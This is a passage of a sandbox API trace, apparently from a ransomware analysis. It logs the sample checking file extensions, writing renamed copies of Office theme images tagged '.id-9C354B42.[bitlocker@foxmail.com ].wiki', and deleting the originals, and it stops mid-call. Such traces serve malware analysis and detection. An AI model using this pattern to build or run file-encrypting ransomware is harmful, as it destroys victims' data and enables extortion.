[0052.475] lstrlenW (lpString=".bz2") returned 4 [0052.475] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.475] lstrlenW (lpString=".7z") returned 3 [0052.475] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.475] lstrlenW (lpString=".dbf") returned 4 [0052.475] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.475] lstrlenW (lpString=".1cd") returned 4 [0052.475] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0052.475] lstrlenW (lpString=".jpg") returned 4 [0052.475] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.476] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.476] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.476] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=5120) returned 1 [0052.476] CloseHandle (hObject=0x204) returned 1 [0052.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0052.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.476] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.476] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.478] GetLastError () returned 0x0 [0052.478] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1400, lpOverlapped=0x0) returned 1 [0052.480] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0052.481] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.481] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.481] SetEndOfFile (hFile=0x214) returned 1 [0052.481] CloseHandle (hObject=0x214) returned 1 [0052.482] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.482] SetEndOfFile (hFile=0x204) returned 1 [0052.482] CloseHandle (hObject=0x204) returned 1 [0052.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.483] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0052.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.483] lstrlenW (lpString=".doc") returned 4 [0052.483] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.483] lstrlenW (lpString=".docx") returned 5 [0052.483] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.483] lstrlenW (lpString=".pdf") returned 4 [0052.483] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.483] lstrlenW (lpString=".xls") returned 4 [0052.483] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.483] lstrlenW (lpString=".xlsx") returned 5 [0052.483] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.483] lstrlenW (lpString=".ppt") returned 4 [0052.483] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.483] lstrlenW (lpString=".zip") returned 4 [0052.483] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.483] lstrlenW (lpString=".rar") returned 4 [0052.483] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.483] lstrlenW (lpString=".bz2") returned 4 [0052.483] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.483] lstrlenW (lpString=".7z") returned 3 [0052.483] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.483] lstrlenW (lpString=".dbf") returned 4 [0052.484] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.484] lstrlenW (lpString=".1cd") returned 4 [0052.484] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.484] lstrlenW (lpString=".jpg") returned 4 [0052.484] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.484] lstrlenW (lpString=".doc") returned 4 [0052.484] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.484] lstrlenW (lpString=".docx") returned 5 [0052.484] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.484] lstrlenW (lpString=".pdf") returned 4 [0052.484] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.484] lstrlenW (lpString=".xls") returned 4 [0052.484] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.484] lstrlenW (lpString=".xlsx") returned 5 [0052.484] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.484] lstrlenW (lpString=".ppt") returned 4 [0052.484] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.484] lstrlenW (lpString=".zip") returned 4 [0052.484] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.484] lstrlenW (lpString=".rar") returned 4 [0052.484] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.484] lstrlenW (lpString=".bz2") returned 4 [0052.484] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.484] lstrlenW (lpString=".7z") returned 3 [0052.484] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.484] lstrlenW (lpString=".dbf") returned 4 [0052.484] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.485] lstrlenW (lpString=".1cd") returned 4 [0052.485] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0052.485] lstrlenW (lpString=".jpg") returned 4 [0052.485] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.485] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.485] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.486] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=60724) returned 1 [0052.486] CloseHandle (hObject=0x204) returned 1 [0052.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0052.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.486] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.486] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.486] GetLastError () returned 0x0 [0052.486] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xed34, lpOverlapped=0x0) returned 1 [0052.489] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0052.490] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.490] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.490] SetEndOfFile (hFile=0x214) returned 1 [0052.491] CloseHandle (hObject=0x214) returned 1 [0052.491] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.491] SetEndOfFile (hFile=0x204) returned 1 [0052.492] CloseHandle (hObject=0x204) returned 1 [0052.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.492] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0052.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.493] lstrlenW (lpString=".doc") returned 4 [0052.493] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.493] lstrlenW (lpString=".docx") returned 5 [0052.493] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.493] lstrlenW (lpString=".pdf") returned 4 [0052.493] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.493] lstrlenW (lpString=".xls") returned 4 [0052.493] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.493] lstrlenW (lpString=".xlsx") returned 5 [0052.493] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.493] lstrlenW (lpString=".ppt") returned 4 [0052.493] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.493] lstrlenW (lpString=".zip") returned 4 [0052.493] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.493] lstrlenW (lpString=".rar") returned 4 [0052.493] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.493] lstrlenW (lpString=".bz2") returned 4 [0052.493] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.493] lstrlenW (lpString=".7z") returned 3 [0052.493] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.493] lstrlenW (lpString=".dbf") returned 4 [0052.493] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.493] lstrlenW (lpString=".1cd") returned 4 [0052.493] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.494] lstrlenW (lpString=".jpg") returned 4 [0052.494] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.494] lstrlenW (lpString=".doc") returned 4 [0052.494] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.494] lstrlenW (lpString=".docx") returned 5 [0052.494] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.494] lstrlenW (lpString=".pdf") returned 4 [0052.494] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.494] lstrlenW (lpString=".xls") returned 4 [0052.494] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.494] lstrlenW (lpString=".xlsx") returned 5 [0052.494] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.494] lstrlenW (lpString=".ppt") returned 4 [0052.494] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.494] lstrlenW (lpString=".zip") returned 4 [0052.494] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.494] lstrlenW (lpString=".rar") returned 4 [0052.494] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.494] lstrlenW (lpString=".bz2") returned 4 [0052.494] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.494] lstrlenW (lpString=".7z") returned 3 [0052.494] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.494] lstrlenW (lpString=".dbf") returned 4 [0052.494] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.494] lstrlenW (lpString=".1cd") returned 4 [0052.494] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0052.494] lstrlenW (lpString=".jpg") returned 4 [0052.494] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.495] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.495] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.495] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2552) returned 1 [0052.495] CloseHandle (hObject=0x204) returned 1 [0052.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0052.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.496] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.496] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0052.498] GetLastError () returned 0x0 [0052.498] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0052.499] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0052.500] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.500] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.500] SetEndOfFile (hFile=0x214) returned 1 [0052.500] CloseHandle (hObject=0x214) returned 1 [0052.500] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.500] SetEndOfFile (hFile=0x204) returned 1 [0052.501] CloseHandle (hObject=0x204) returned 1 [0052.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.501] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0052.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.502] lstrlenW (lpString=".doc") returned 4 [0052.502] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.502] lstrlenW (lpString=".docx") returned 5 [0052.502] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.502] lstrlenW (lpString=".pdf") returned 4 [0052.502] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.502] lstrlenW (lpString=".xls") returned 4 [0052.502] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.502] lstrlenW (lpString=".xlsx") returned 5 [0052.502] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.502] lstrlenW (lpString=".ppt") returned 4 [0052.502] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.502] lstrlenW (lpString=".zip") returned 4 [0052.502] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.502] lstrlenW (lpString=".rar") returned 4 [0052.502] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.502] lstrlenW (lpString=".bz2") returned 4 [0052.502] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.502] lstrlenW (lpString=".7z") returned 3 [0052.502] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.502] lstrlenW (lpString=".dbf") returned 4 [0052.502] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.502] lstrlenW (lpString=".1cd") returned 4 [0052.502] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.502] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.502] lstrlenW (lpString=".jpg") returned 4 [0052.503] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.503] lstrlenW (lpString=".doc") returned 4 [0052.503] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.503] lstrlenW (lpString=".docx") returned 5 [0052.503] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.503] lstrlenW (lpString=".pdf") returned 4 [0052.503] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.503] lstrlenW (lpString=".xls") returned 4 [0052.503] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.503] lstrlenW (lpString=".xlsx") returned 5 [0052.503] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.503] lstrlenW (lpString=".ppt") returned 4 [0052.503] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0052.503] lstrlenW (lpString=".zip") returned 4 [0052.503] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.503] lstrlenW (lpString=".rar") returned 4 [0052.503] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.503] lstrlenW 